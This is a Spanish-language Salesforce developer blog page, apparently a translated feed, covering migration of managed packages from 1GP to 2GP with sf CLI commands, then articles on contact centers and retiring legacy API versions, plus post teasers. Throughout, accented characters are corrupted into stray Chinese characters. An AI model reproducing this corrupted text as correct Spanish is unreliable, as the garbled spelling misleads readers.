Una vez que tenga una versi贸n de paquete 2GP convertida, puede migrar clientes a 2GP. Si tiene un suscriptor con Acme v1.0 instalado, iniciar铆a el proceso trat谩ndolo como una actualizaci贸n de paquete normal: a trav茅s de la CLI con sf package install (ver documentos ), instalaci贸n de URL o actualizaciones autom谩ticas.

Mientras intenta instalar su paquete 2GP convertido v1.0.0.1, que coincide con la versi贸n mayor.menor del paquete 1GP instalado en el suscriptor A, ejecutamos una nueva l贸gica que inicia el proceso de migraci贸n del paquete . Sin cambiar ning煤n metadato en la organizaci贸n del cliente, y sin requerir la intervenci贸n del usuario si usa actualizaciones autom谩ticas, simplemente cambiamos las referencias del paquete para que apunten al nuevo paquete 2GP.

Una vez que un cliente migre a 2GP, cualquier parche o actualizaci贸n del paquete de este cliente deber谩 usar 2GP.

Participaci贸n en la versi贸n preliminar para desarrolladores de migraciones de paquetes

Para probar las migraciones de paquetes, debe ser un socio ISV con acceso a la comunidad de socios de Salesforce .

En la Comunidad de socios, encontrar谩 un canal exclusivo para esta versi贸n preliminar para desarrolladores. Le recomendamos que se una a este canal y configure las notificaciones para enviar por correo electr贸nico cada publicaci贸n para recibir las 煤ltimas actualizaciones del equipo de Migraciones de paquetes.

En este canal, encontrar谩 una serie de enlaces 煤tiles, incluido un formulario para registrarse en Developer Preview. Necesitaremos algunos detalles, como su ID de organizaci贸n de empaquetado, para que podamos activar la funci贸n Migraciones de paquetes.

Es importante destacar que participar en Developer Preview no tendr谩 ning煤n impacto en su paquete de 1GP. Por lo tanto, no se preocupe y participe, ya que sus comentarios son esenciales para ayudarnos a identificar y resolver problemas lo antes posible.

Una vez que est茅 activado, puede comenzar a probar las migraciones de paquetes.

Probar la conversi贸n de un paquete administrado de primera generaci贸n

Muy bien, 隆comencemos! En primer lugar, aseg煤rese de haber instalado la CLI de Salesforce.

Si lo instal贸 anteriormente, aseg煤rese de estar usando la 煤ltima versi贸n:

sf update

Ahora aseg煤rese de que est谩 ejecutando dentro del contexto de un proyecto de SalesforceDX. Puedes crear un nuevo proyecto usando:

sf project generate --name <Your project name>

Vincule el espacio de nombres de su 1GP administrado iniciando sesi贸n en su DevHub y siga los pasos .

隆Eso es todo para la configuraci贸n! Ahora puede continuar e intentar convertir su paquete.

sf package convert --installation-key mdpTest --package 033xxx --wait 20

Repasemos los par谩metros. Estamos utilizando la clave de instalaci贸n mdpTest . Ser谩 necesario cada vez que intente instalar esta versi贸n del paquete en el futuro. Alternativamente, puede usar --installation-key-bypass para omitir la clave de instalaci贸n. Deber谩 ingresar su ID de paquete 1GP completo comenzando con 033 despu茅s de --package . El proceso de conversi贸n puede demorar un poco y, por lo tanto, agregamos la opci贸n --wait para esperar 20 minutos.

A medida que se ejecuta el proceso de conversi贸n, obtendr谩 una actualizaci贸n de su estado. Suponiendo que todo sali贸 bien, recibir谩 un mensaje de 茅xito con la ID y la URL de instalaci贸n para la versi贸n del paquete 2GP reci茅n convertida.

Converting Package... ... Successfully created the package version [08cxxx00000KzFSAA0]. Subscriber Package Version Id: 04txxx00000u1cqAAA
Package Installation URL: https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA
As an alternative, you can use the "sfdx package:install" command.

隆Felicitaciones, su paquete ahora est谩 convertido a 2GP! Si encontr贸 alg煤n problema en el camino, inf贸rmenos utilizando el formulario en el grupo Comunidad de socios .

Nota: Al momento de escribir esta publicaci贸n de blog, este comando convertir谩 la 煤ltima versi贸n administrada y lanzada de su paquete. Estamos trabajando para permitirle convertir versiones de paquetes Beta y anteriores. Por otro lado, durante Developer Preview, no es posible promocionar paquetes 2GP convertidos al estado Lanzado.

Ahora que su paquete est谩 convertido, probemos la migraci贸n de una organizaci贸n suscriptora.

Probar la migraci贸n de un paquete administrado de primera generaci贸n instalado

Para probar la migraci贸n de un suscriptor, deber谩 crear una organizaci贸n borrador ya que, durante la versi贸n preliminar para desarrolladores, solo admitimos organizaciones borrador. Puede configurar una nueva organizaci贸n borrador como esta:

sf org create scratch -f project-scratch-def.json -a MyScratchOrg

En el c贸digo anterior, -f apunta a su archivo de definici贸n de organizaci贸n borrador . Debe asegurarse de que su archivo de definici贸n de organizaci贸n borrador incluya cualquier funci贸n de Salesforce de la que pueda depender su paquete. Finalmente, estamos usando MyScratchOrg como el alias de esta organizaci贸n.

Con la configuraci贸n de la organizaci贸n borrador, contin煤e e instale la versi贸n del paquete 1GP que convirti贸 anteriormente utilizando la URL de instalaci贸n que obtiene de su organizaci贸n de empaquetado 1GP. Esta deber铆a ser su 煤ltima versi贸n administrada y lanzada en este momento.

Puede confirmar que el paquete se instal贸 correctamente durante la pantalla de instalaci贸n. Vea el ejemplo a continuaci贸n.

Y consulte la secci贸n Paquetes instalados del men煤 Configuraci贸n.

Ahora que instal贸 su 1GP en la organizaci贸n borrador, est谩 listo para la migraci贸n.

Inicie el proceso de migraci贸n utilizando la URL de instalaci贸n que recibi贸 al final del proceso de conversi贸n del paquete:

https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA

Ahora pasar谩 por el mismo conjunto de pantallas que el anterior, pero esta vez para su paquete 2GP convertido.

Actualmente, la interfaz de usuario muestra que la "instalaci贸n" se ha completado. En realidad, lo que hicimos fue una migraci贸n de paquetes que se complet贸 con 茅xito.

Tenga en cuenta que en este ejemplo, he usado la segunda compilaci贸n Beta para la versi贸n 1.7, que corresponde a la misma versi贸n mayor.menor que la versi贸n del paquete 1GP instalada anteriormente. Como el 2GP convertido, durante la Vista previa del desarrollador, se crea como una versi贸n Beta, se muestra como tal.

Una vez m谩s, puede confirmar la versi贸n del paquete actualizado en la secci贸n Paquetes instalados del men煤 Configuraci贸n, que tambi茅n muestra, en este ejemplo, que el n煤mero de versi贸n es 1.7 (Beta 2).

Una vez que haya migrado el paquete en su organizaci贸n borrador, le recomendamos que lo pruebe para asegurarse de que funciona como se esperaba.

Tambi茅n debe aprovechar la oportunidad para verificar si las aplicaciones, como la aplicaci贸n de administraci贸n de licencias o la aplicaci贸n de administraci贸n de funciones, muestran la informaci贸n correcta para su paquete migrado. Si encuentra algo que no est谩 bien, por favor plant茅elo como un problema y lo investigaremos.

Mientras tanto 鈥

Se necesitar谩n algunos lanzamientos para que las migraciones de paquetes est茅n disponibles de forma general. Su participaci贸n en Developer Preview, probando sus paquetes y brind谩ndonos comentarios, es esencial para ayudarnos a identificar y resolver problemas antes.

Mientras tanto, 驴qu茅 m谩s puedes hacer? Le recomendamos que experimente con el uso de paquetes de segunda generaci贸n como parte de su modelo de desarrollo actual basado en 1GP. 驴Confundido? Dejame explicar.

Como mencion茅 anteriormente, hay una serie de ventajas espec铆ficas de 2GP. De estos, hay algunos de los que puede comenzar a beneficiarse hoy. Estos son los pasos que puede seguir:

  1. Puede configurar su control de c贸digo fuente y alimentarlo con metadatos extra铆dos de su organizaci贸n de empaquetado.
  2. Puede crear un DevHub y organizaciones borrador derivadas para el desarrollo utilizando metadatos de su control de c贸digo fuente.
  3. Puede crear un paquete 2GP para desarrollo interno y pruebas que reflejen su paquete 1GP, pero usando un espacio de nombres solo interno o el mismo que su paquete 1GP. Las colisiones de espacios de nombres evitar谩n que los paquetes 1GP y 2GP con el mismo espacio de nombres se instalen en el mismo entorno.
  4. Una vez que est茅 satisfecho con el contenido de su paquete 2GP, puede migrar los metadatos desde la rama de control de fuente correspondiente a su organizaci贸n de empaquetado y emitir una nueva versi贸n de su paquete para distribuir a los clientes.

Esto lo ayudar谩 a sumergirse en el mundo de 2GP y, una vez que Package Migrations est茅 disponible de forma general, podr谩 abandonar su modelo de desarrollo de 1GP por completo y pasar por completo a un modelo de desarrollo de 2GP.

Conclusi贸n

Estamos muy entusiasmados con las migraciones de paquetes, pero necesitamos su ayuda para asegurarnos de que sea lo mejor posible. Si es un desarrollador de ISV, contin煤e y reg铆strese para la Vista previa para desarrolladores en la Comunidad de socios.

隆Estamos ansiosos por recibir sus comentarios!

M谩s recursos

Grupo de vista previa para desarrolladores en la comunidad de socios

Embalaje gestionado de segunda generaci贸n (documentaci贸n)

Sobre el Autor

John Belo es director de gesti贸n de productos para productos de experiencia de desarrollador y se centra en migraciones de paquetes, analizador de c贸digo de Salesforce y an谩lisis de aplicaciones de AppExchange. Ha estado en Salesforce durante m谩s de siete a帽os y pas贸 la mayor parte de este tiempo en el equipo de AppExchange. Comenz贸 liderando un equipo de evangelistas t茅cnicos de ISV en EMEA y ahora es parte del equipo de gesti贸n de productos de experiencia de desarrollador, siempre con la intenci贸n de ayudar a los ISV a tener el mayor 茅xito posible.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Contact Centers vs. Call Centers: 驴Cu谩l es la diferencia?

Contact Centers vs. Call Centers: 驴Cu谩l es la diferencia?

Los t茅rminos centro de llamadas y centro de contacto a menudo se usan indistintamente y, aunque ambos son centros de atenci贸n al cliente, no son exactamente lo mismo. Los centros de llamadas se enfocan 煤nicamente en las comunicaciones telef贸nicas, mientras que los centros de contacto modernos brindan soporte a trav茅s de una variedad de canales, que incluyen tel茅fono, correo electr贸nico, chat en vivo, art铆culos de conocimiento de autoservicio y chatbots. Profundicemos en las diferencias entre un centro de contacto y un centro de llamadas, para que pueda decidir el mejor enfoque de servicio al cliente para su negocio.

Los clientes de hoy tienen grandes expectativas para las empresas con las que hacen negocios. Descubrimos que el 94% de los clientes dicen que una experiencia positiva de servicio al cliente los hace m谩s propensos a realizar una compra nuevamente. Sin embargo, solo el 13% de los clientes dicen que pueden resolver sus problemas con poco esfuerzo.

驴C贸mo es una experiencia positiva del cliente? Se trata de reunirse con los clientes donde est谩n, utilizando los m茅todos de comunicaci贸n y la tecnolog铆a que prefieren, y brindando una variedad de opciones de servicio, en lugar de limitar el servicio solo por tel茅fono. A medida que las preferencias de los clientes evolucionan con la tecnolog铆a, m谩s centros de llamadas se est谩n transformando en centros de contacto .

Modernice su centro de contacto

La combinaci贸n correcta de canales y herramientas de servicio al cliente puede ayudarlo a ser m谩s eficiente y mejorar la satisfacci贸n del cliente. Nuestra gu铆a revela c贸mo las organizaciones de servicio de alto rendimiento lo hacen posible.

驴Qu茅 es un centro de llamadas?

Un centro de llamadas es un grupo de servicio al cliente remoto o local que brinda servicio al cliente por tel茅fono. Los centros de llamadas pueden emplear desde unos pocos agentes para peque帽as y medianas empresas hasta cientos para grandes corporaciones.

Cada agente generalmente maneja varias llamadas telef贸nicas por d铆a para ayudar con los problemas de los clientes, desde consultas de facturaci贸n hasta problemas t茅cnicos complejos. Algunos centros de llamadas utilizan software de administraci贸n de relaciones con los clientes (CRM) para resolver problemas m谩s r谩pido y proporcionar a los agentes datos de clientes, pero muchos centros de llamadas todav铆a est谩n trabajando para adoptar esta tecnolog铆a.

Un centro de contacto es un centro de servicio al cliente que proporciona una variedad de canales de comunicaci贸n, incluidos tel茅fono, correo electr贸nico, redes sociales, chat, SMS y mensajer铆a, videoconferencia , uso compartido de pantalla y m谩s. Los agentes suelen tener la experiencia para trabajar en todos estos canales o en un subconjunto especializado seg煤n la estructura de su equipo.

Un centro de contacto tambi茅n utiliza la tecnolog铆a CRM para capacitar a los agentes para ayudar a los clientes, acelerar los tiempos de respuesta y brindar interacciones y ofertas personalizadas.

Las preferencias de comunicaci贸n del cliente var铆an ampliamente. Alguien que est谩 en movimiento puede marcar una l铆nea de servicio al cliente, mientras que alguien en su escritorio puede comunicarse con un agente a trav茅s del chat en vivo.

Cuando los centros de contacto enrutan las solicitudes de m煤ltiples canales a los agentes de servicio en funci贸n de su disponibilidad y conjunto de habilidades, los agentes de servicio pueden realizar m煤ltiples tareas y aumentar su eficiencia.

Una m茅trica clave para el 茅xito del centro de contacto es la reducci贸n del trabajo manual de los agentes. Los agentes tienen tareas como notas de casos, transferencias de datos y enrutamiento de llamadas, lo que puede reducir la velocidad y la eficiencia del servicio que brindan.

Los centros de contacto utilizan la automatizaci贸n y la inteligencia artificial (IA) para reducir estas tareas de la carga de trabajo de sus agentes para que puedan concentrarse en resolver los problemas de los clientes y brindar una experiencia de servicio perfecta. Estas tecnolog铆as pueden hacer cosas como transcribir autom谩ticamente llamadas telef贸nicas, sugerir respuestas de chat en vivo o encontrar art铆culos de ayuda para que los agentes los compartan con los clientes.

La IA generativa est谩 facilitando a煤n m谩s la eficiencia. Cuando se aplica al servicio, la IA generativa puede tomar datos del cliente, como una consulta del cliente o informaci贸n de la cuenta, y crear algo nuevo a partir de ellos. Algunos ejemplos de estos poderosos casos de uso incluyen la generaci贸n autom谩tica de art铆culos de conocimientos basados en datos de resoluci贸n de casos, brindar respuestas personalizadas a preguntas de chat en vivo y extraer datos en tiempo real para ayudar a los agentes a resolver los problemas de los clientes r谩pidamente.

Los centros de llamadas tienen un enfoque singular: brindar un servicio de calidad por tel茅fono. Los centros de contacto adoptan un enfoque omnicanal que muchos consumidores encuentran m谩s conveniente (ya no hay que esperar en la l铆nea telef贸nica ni escuchar la serenata de la m煤sica del ascensor).

Elecci贸n de canal

Sus clientes solo quieren que sus problemas se resuelvan lo m谩s r谩pido posible. Al final del d铆a, debe reunirse con ellos donde est谩n a trav茅s de sus canales de comunicaci贸n preferidos, que variar谩n seg煤n el tipo de servicio o producto que ofrezca.

Con un centro de contacto, puede llegar a los clientes en estos canales:

  • Tel茅fono
  • Correo electr贸nico
  • Medios de comunicaci贸n social
  • Formularios en l铆nea
  • Bases de conocimiento
  • Portales de autoservicio para clientes
  • Chat en l铆nea/soporte en vivo
  • aplicaciones de mensajer铆a
  • Texto/SMS
  • Aplicaciones m贸viles
  • Comunidades y foros de discusi贸n
  • Soporte de v铆deo

Su industria influir谩 en gran medida en los canales de servicio al cliente que brinda su empresa. 驴Eres una empresa de servicios p煤blicos? Entonces, el autoservicio , los SMS y el tel茅fono son fundamentales para su centro de contacto. 驴Qu茅 tal un minorista de comercio electr贸nico? Sus clientes ya est谩n comprando en l铆nea; poder comunicarse con usted a trav茅s de la web o el chat m贸vil probablemente sea importante para ellos.

A pesar de la expansi贸n y aceptaci贸n de los canales digitales y la variedad de preferencias de los clientes, el 81 % de los profesionales de servicios dicen que el tel茅fono es un canal preferido para problemas complejos, por lo que incluso los centros de contacto digitales deben mantener abiertas las l铆neas telef贸nicas.

Servicio al cliente personalizado

Una diferencia importante entre un centro de llamadas y un centro de contacto es el uso de los datos del cliente y la tecnolog铆a CRM para brindar un servicio al cliente personalizado.

Cuando el tel茅fono es la 煤nica opci贸n para ponerse en contacto con una empresa, las interacciones tienden a ser simples, como restablecer la contrase帽a de una cuenta o hacer una pregunta, y menos frecuentes con el mismo cliente. Y dado que la tecnolog铆a CRM solo la utilizan algunos centros de llamadas, los agentes pueden tener informaci贸n limitada sobre un cliente y sus preferencias.

Los centros de contacto tienden a manejar tareas m谩s complejas. Los problemas m谩s simples de los clientes generalmente se resuelven a trav茅s de canales de bajo contacto (piense en art铆culos de autoservicio, chatbots , SMS o chat en vivo), mientras que los problemas m谩s complejos se manejan por tel茅fono.

Un agente de servicio en un centro de contacto usa la instancia de CRM de la empresa para hacer referencia a interacciones pasadas , ver qu茅 productos o paquetes tiene actualmente el cliente y brindar opciones personalizadas de ventas cruzadas o adicionales. Esto es posible gracias a la integraci贸n de los datos de ventas, servicios, marketing y comercio, todos canalizados a trav茅s de una 煤nica plataforma de CRM.

Habilidades de agente

Su elecci贸n de centro de contacto frente a centro de llamadas tambi茅n se reducir谩 a las habilidades de sus agentes y al presupuesto y los recursos disponibles para la capacitaci贸n de agentes.

Dado que los agentes del centro de contacto utilizan m谩s canales digitales y asincr贸nicos que los centros de llamadas, deben poder realizar m煤ltiples tareas y deben sentirse c贸modos con la tecnolog铆a digital. Los agentes del centro de llamadas, por otro lado, deben pensar r谩pidamente y mantener la calma para reducir las situaciones en tiempo real.

Los agentes de servicio al cliente deben tener la combinaci贸n correcta de habilidades blandas y duras para cumplir con las expectativas del cliente. Cuando se trata de habilidades blandas, deben ser comunicadores y oyentes competentes, buenos pensadores cr铆ticos y solucionadores de problemas, y ser capaces de resolver conflictos en situaciones tensas. Cuando se trata de habilidades duras, necesitan saber c贸mo usar tableros, herramientas de servicio, consolas, herramientas de automatizaci贸n y acceso a datos de clientes para hacer bien su trabajo y hacer recomendaciones m谩s personalizadas a los clientes en tiempo real.

Los centros de llamadas son m谩s sencillos de operar, con altos costos operativos provenientes de la plantilla y los sistemas telef贸nicos o el software. Su simplicidad puede ser atractiva para las empresas que desean evitar complicar demasiado su estrategia de servicio al cliente, especialmente si tienen una base de clientes peque帽a y conocida que prefiere obtener el servicio por tel茅fono.

Por el contrario, los centros de contacto personalizan la experiencia del cliente al proporcionar varios canales de servicio seg煤n las preferencias del cliente. Esto facilita que los problemas se resuelvan de forma asincr贸nica y los problemas m谩s complejos se resuelvan por tel茅fono. Este enfoque rentable es lo que llamamos " Cambio a escala ".

El 48% de los clientes han cambiado de marca para un mejor servicio al cliente.

Informe de estado del cliente conectado de Salesforce

Si bien los centros de contacto generalmente tienen costos continuos m谩s altos debido a las licencias de software, sus clientes tienen una mejor experiencia de servicio cuando pueden elegir c贸mo interact煤an con su negocio. Esto significa que sus clientes se sienten satisfechos o incluso encantados despu茅s de una interacci贸n de servicio, lo que conducir谩 a una puntuaci贸n CSAT m谩s alta , una mayor lealtad del cliente y generar谩 m谩s ingresos de clientes repetidos y renovados.

Estrategia de call center vs. contact center

Si no est谩 seguro de qu茅 estrategia de servicio al cliente es adecuada para usted, h谩gase las siguientes preguntas:

  • 驴Qu茅 tan grande es la base de clientes que atiendes?
    • R: Daremos servicio a un grupo demogr谩fico de nicho peque帽o
    • B: Tendremos una base de clientes amplia y diversa
  • 驴Qu茅 tan dif铆cil ser谩 resolver estos problemas para sus clientes?
    • R: La mayor铆a de los problemas son f谩ciles de resolver.
    • B: Los problemas variar谩n en complejidad
  • 驴Qu茅 tan importante es para su empresa brindar un servicio personalizado al cliente?
    • R: El servicio personalizado no es una prioridad para mi negocio
    • B: El servicio personalizado es una prioridad para mi negocio
  • 驴Qu茅 tan importante es para su negocio ofrecer m煤ltiples canales de soporte?
    • R: Tener m煤ltiples canales de soporte no es muy importante para mi negocio
    • B: Tener m煤ltiples canales de soporte es importante para mi negocio
  • 驴Su empresa tiene un presupuesto de servicio limitado o puede admitir m煤ltiples licencias de software y tecnolog铆a?
    • R: Mi negocio tiene un presupuesto limitado para servicio al cliente
    • B: Mi empresa tiene presupuesto para admitir m煤ltiples licencias de software y tecnolog铆as

Si respondi贸 en su mayor铆a con A, entonces una estrategia de centro de llamadas puede ser la mejor opci贸n para su negocio. Si respondi贸 con B en su mayor铆a, entonces un centro de contacto es la mejor estrategia para usted.

El 94% de los clientes dice que un buen servicio al cliente los hace m谩s propensos a realizar otra compra.

Informe de estado del cliente conectado de Salesforce

El servicio al cliente es el negocio de asegurarse de que sus clientes se mantengan felices y leales. Los centros de llamadas siguen siendo relevantes en ciertos contextos, pero el mundo est谩 cambiando; aseg煤rese de que sus modelos de atenci贸n al cliente cambien con 茅l.

Cree una mejor experiencia de centro de contacto

Vea c贸mo puede combinar IA, datos y CRM para conectarse en el canal correcto, personalizar cada conversaci贸n y escalar su servicio al cliente.

Seguir leyendo

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API 鈽侊笍

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Una actualizaci贸n importante de nuestro plan de jubilaci贸n Legacy API | Blog de desarrolladores de Salesforce

En 2021, anunciamos unplan para retirar las versiones heredadas de la API de la plataforma anualmente, de modo que nuestros equipos de ingenier铆a pudieran centrar sus esfuerzos de desarrollo en mejorar las 煤ltimas versiones de la API para mejorar la experiencia general de Salesforce al crear funciones personalizadas a trav茅s de aplicaciones. En esta publicaci贸n, compartiremos una actualizaci贸n importante del plan de retiro de la API heredada, algunos consejos sobre c贸mo identificar el uso de la API heredada y c贸mo actualizar esas solicitudes de API.

Actualizaci贸n importante del plan de jubilaci贸n de la API heredada

La 煤ltima fase del plan de retiro de la API heredada se anunci贸 a principios de 2022 y entr贸 en vigencia durante el lanzamiento de Summer '22. Con esta versi贸n, dejamos de usar las versiones SOAP, REST y Bulk API que van de la 21.0 a la 30.0. Como parte de nuestro plan original, estas versiones de API ya no ser铆an compatibles, pero permanecer铆an disponibles hasta que las retiremos en la versi贸n Summer '23.

Luego de consultar con la comunidad y nuestros socios, decidimos retrasar el pr贸ximo retiro de la API al lanzamiento de Summer '25 para garantizar una transici贸n sin problemas (consulte el art铆culo de conocimientos ). Debido a esta extensi贸n, las versiones de API 21.0 a 30.0 a煤n no son compatibles, pero seguir谩n estando disponibles hasta el lanzamiento de Summer '25.

Desde Summer '21 , cada vez que realiza una llamada a una API heredada con REST o Bulk API, ver谩 un encabezado Warning en la respuesta con un mensaje que describe el problema como este:

Una vez que las versiones heredadas de la API se retiren en Summer '25, las solicitudes a esas versiones fallar谩n con los siguientes errores:

  • La API REST devolver谩 el estado HTTP 410: GONE
  • La API SOAP devolver谩 el estado HTTP 500: UNSUPPORTED_API_VERSION
  • La API masiva devolver谩 el estado HTTP 400: InvalidVersion

Ahora que conoce el 煤ltimo plan, veamos c贸mo puede identificar si se ve afectado y c贸mo.

Identificar el uso de la API heredada

Puede verificar las llamadas API heredadas usted mismo en cualquier momento, y hay varias formas de hacerlo.

Todas las transacciones de la API de Salesforce se registran en los registros de Monitoreo de eventos. El monitoreo de eventos normalmente requiere una licencia espec铆fica, pero hemos expuesto el evento Uso total de la API ( ApiTotalUsage ) a todos los clientes de forma gratuita, para que pueda monitorear el consumo de la API heredada e identificar los clientes y las integraciones que deben actualizarse. Las organizaciones habilitadas para API tienen acceso gratuito a los archivos de registro de eventos de uso total de API con retenci贸n de datos de 1 d铆a. Con el Monitoreo de eventos habilitado, puede acceder a este y a todos los dem谩s tipos de archivos de registro de eventos con una retenci贸n de datos de 30 d铆as.

Los registros contienen campos clave que gu铆an sus investigaciones:

  • Los clientes proporcionan CLIENT_NAME opcionalmente, pero es especialmente 煤til para identificar aplicaciones e integraciones que realizan llamadas API que requieren investigaci贸n y ajustes. Compartiremos m谩s sobre este campo en la 煤ltima secci贸n de esta publicaci贸n.
  • CONNECTED_APP_ID le dice qu茅 aplicaci贸n conectada est谩 en el origen de las llamadas a la API.
  • USER_ID y CLIENT_IP son 煤tiles para identificar el origen de las llamadas API heredadas, pero existe la posibilidad de que estos valores se compartan entre varias aplicaciones en caso de que se realice una cuenta t茅cnica de usuario/sistema (ID de usuario compartido) o llamadas desde una ubicaci贸n de oficina f铆sica ( direcci贸n IP compartida). Compartiremos c贸mo usar la nueva licencia de usuario de integraci贸n para abordar los problemas de usuarios compartidos en la 煤ltima secci贸n de esta publicaci贸n.
  • Los campos API_FAMILY , API_VERSION , API_RESOURCE , URI y HTTP_METHOD le brindan pistas valiosas sobre el tipo de operaciones que realizan los clientes API.

Compartimos varias herramientas para acceder a los registros en nuestra publicaci贸n anterior , y tambi茅n puede usar herramientas de terceros para automatizar esta tarea. Compartiremos una opci贸n adicional que puede ser relevante para los usuarios preocupados por ejecutar c贸digo de terceros con acceso API a su organizaci贸n.

Uso de Postman para identificar el uso de la API heredada

Puede utilizar la colecci贸n Postman de las API de la plataforma de Salesforce para inspeccionar sus registros de Salesforce con estos pasos:

  • Configure la colecci贸n Postman y autent铆quese en su organizaci贸n .
  • Enumere los archivos de registro que rastrean el acceso a la API:
    1. Seleccione REST > Solicitud de consulta .
    2. Reemplace el valor del par谩metro de consulta q con la siguiente consulta SOQL: SELECT LogFile, EventType, CreatedDate FROM EventLogFile WHERE EventType IN ('API', 'RestApi', 'BulkApi', 'ApiTotalUsage')
    3. Haz clic en Enviar.
    4. Recupere los ID del archivo de registro de la respuesta.

  • Para cada archivo de registro devuelto en el paso anterior, recupere y escanee el contenido del registro:
    1. Seleccione REST > Registros > Obtener solicitud de archivo de registro de eventos .
    2. Establezca el ID del archivo de registro en el valor de la variable de ruta id .
    3. Haz clic en Enviar.
    4. Lea el contenido del archivo de registro en la respuesta. Puede moverse a la pesta帽a Respuesta sin procesar y guardarla como un archivo CSV o usar la pesta帽a Visualizar para obtener una vista previa del contenido directamente en Postman.
    5. Mire la columna URI o API_VERSION y verifique las versiones de API heredadas (versiones 30.0 y anteriores).

Despu茅s de identificar que est谩 llamando a versiones de API heredadas, el siguiente paso es actualizar estas dependencias a versiones de API heredadas.

Actualizar dependencias a versiones de API heredadas

El procedimiento de actualizaci贸n depende del tipo de API que est茅 utilizando, pero aqu铆 hay una breve descripci贸n general de lo que se requiere:

  • Para llamadas API basadas en SOAP, genere un nuevo WSDL e incorp贸relo a la integraci贸n afectada
  • Para puntos finales REST, actualice el n煤mero de versi贸n en el URI a la versi贸n principal actual
  • Aunque puede actualizar de manera similar los URI para puntos finales /async en el caso de Bulk API, la forma m谩s gratificante de actualizar las llamadas heredadas es adoptar Bulk API 2.0 y disfrutar del flujo de trabajo m谩s simple y los l铆mites mejorados.

Tenga en cuenta que las aplicaciones (p. ej., el cargador de datos) y los paquetes tambi茅n pueden estar realizando llamadas API heredadas debido a bibliotecas obsoletas (conectores de servicios web, kit de herramientas AJAX, interfaz COM SForceOfficeToolkit o kit de herramientas Force.com para PHP, solo por nombrar algunos) . Aseg煤rate de actualizarlos tambi茅n.

Y recuerda: no importa el cambio, aseg煤rate de realizar pruebas de regresi贸n para asegurarte de que todo funciona como se esperaba.

Prepar谩ndonos para el futuro

Ya sea que se haya visto afectado por el plan de jubilaci贸n heredado o no, debe planificar el futuro retiro de la versi贸n API. Le dejaremos algunas pr谩cticas recomendadas para el gobierno de API.

Aproveche las licencias de usuario de la integraci贸n de Salesforce

En Spring '23, presentamos un nuevo tipo de licencia dedicado a las integraciones: la licencia de usuario de Integraci贸n de Salesforce . Esta nueva licencia se basa en el principio de acceso con privilegios m铆nimos y le permite crear usuarios solo de API para integraciones de sistema a sistema con derechos de acceso espec铆ficos. La principal ventaja de este nuevo tipo de licencia es la seguridad, pero tambi茅n permite un mejor seguimiento de las acciones de integraci贸n, ya que podr谩 asignar distintos usuarios solo de API a la integraci贸n y relacionar las llamadas de API de integraci贸n con ID de usuario espec铆ficas en sus registros.

Se incluyen cinco licencias de usuario de Integraci贸n de Salesforce en cada organizaci贸n Enterprise, Unlimited y Performance Edition. Tambi茅n puede comunicarse con su ejecutivo de cuenta si necesita m谩s.

Especifique un nombre de cliente al crear integraciones de API REST

Al crear nuevas integraciones con la API REST, aseg煤rese de especificar un nombre de cliente utilizando el encabezado de solicitud Sforce-Call-Options de la siguiente manera:

Sforce-Call-Options: client=myClientName

El nombre del cliente que especifique en el encabezado estar谩 visible en los registros en el campo CLIENT_NAME . Esto le ayuda a depurar y auditar las llamadas a la API de integraci贸n.

palabras de cierre

Esperamos que este retraso adicional en nuestro plan de retiro de API heredado permita una transici贸n sin problemas, y lo alentamos a que comience hoy, independientemente de la nueva fecha l铆mite. Migrar a versiones de API m谩s nuevas siempre es una apuesta segura para obtener acceso a nuevas capacidades y mejorar el rendimiento y la seguridad.

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta gu铆a se public贸 originalmente en Medium en 2021 y se actualiz贸 con la orientaci贸n y los consejos m谩s recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.

La publicaci贸n Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Lanzamiento de Marketing Cloud Spring '23 para desarrolladores 鈽侊笍

Consulte los aspectos m谩s destacados y conozca las nuevas funciones de la versi贸n Spring '23 para desarrolladores de Marketing Cloud.

La versi贸n posterior de Marketing Cloud Spring '23 para desarrolladores apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Mejore el rendimiento del c贸digo con el analizador de c贸digo de Salesforce 鈽侊笍

Estamos desarrollando Salesforce Graph Engine con nuevas reglas para ayudarlo a mejorar el rendimiento de su c贸digo en la 煤ltima versi贸n 3.9 de Code Analyzer.

La publicaci贸n Aumente el rendimiento del c贸digo con Salesforce Code Analyzer apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Creaci贸n de un complemento CLI de Salesforce 鈽侊笍

La CLI de Salesforce es una herramienta poderosa y esencial para el desarrollo de Salesforce. Uno de los aspectos m谩s poderosos de la CLI es su extensibilidad a trav茅s de complementos.

La publicaci贸n Creaci贸n de un complemento CLI de Salesforce apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Organizaciones temporales para administrador de Salesforce

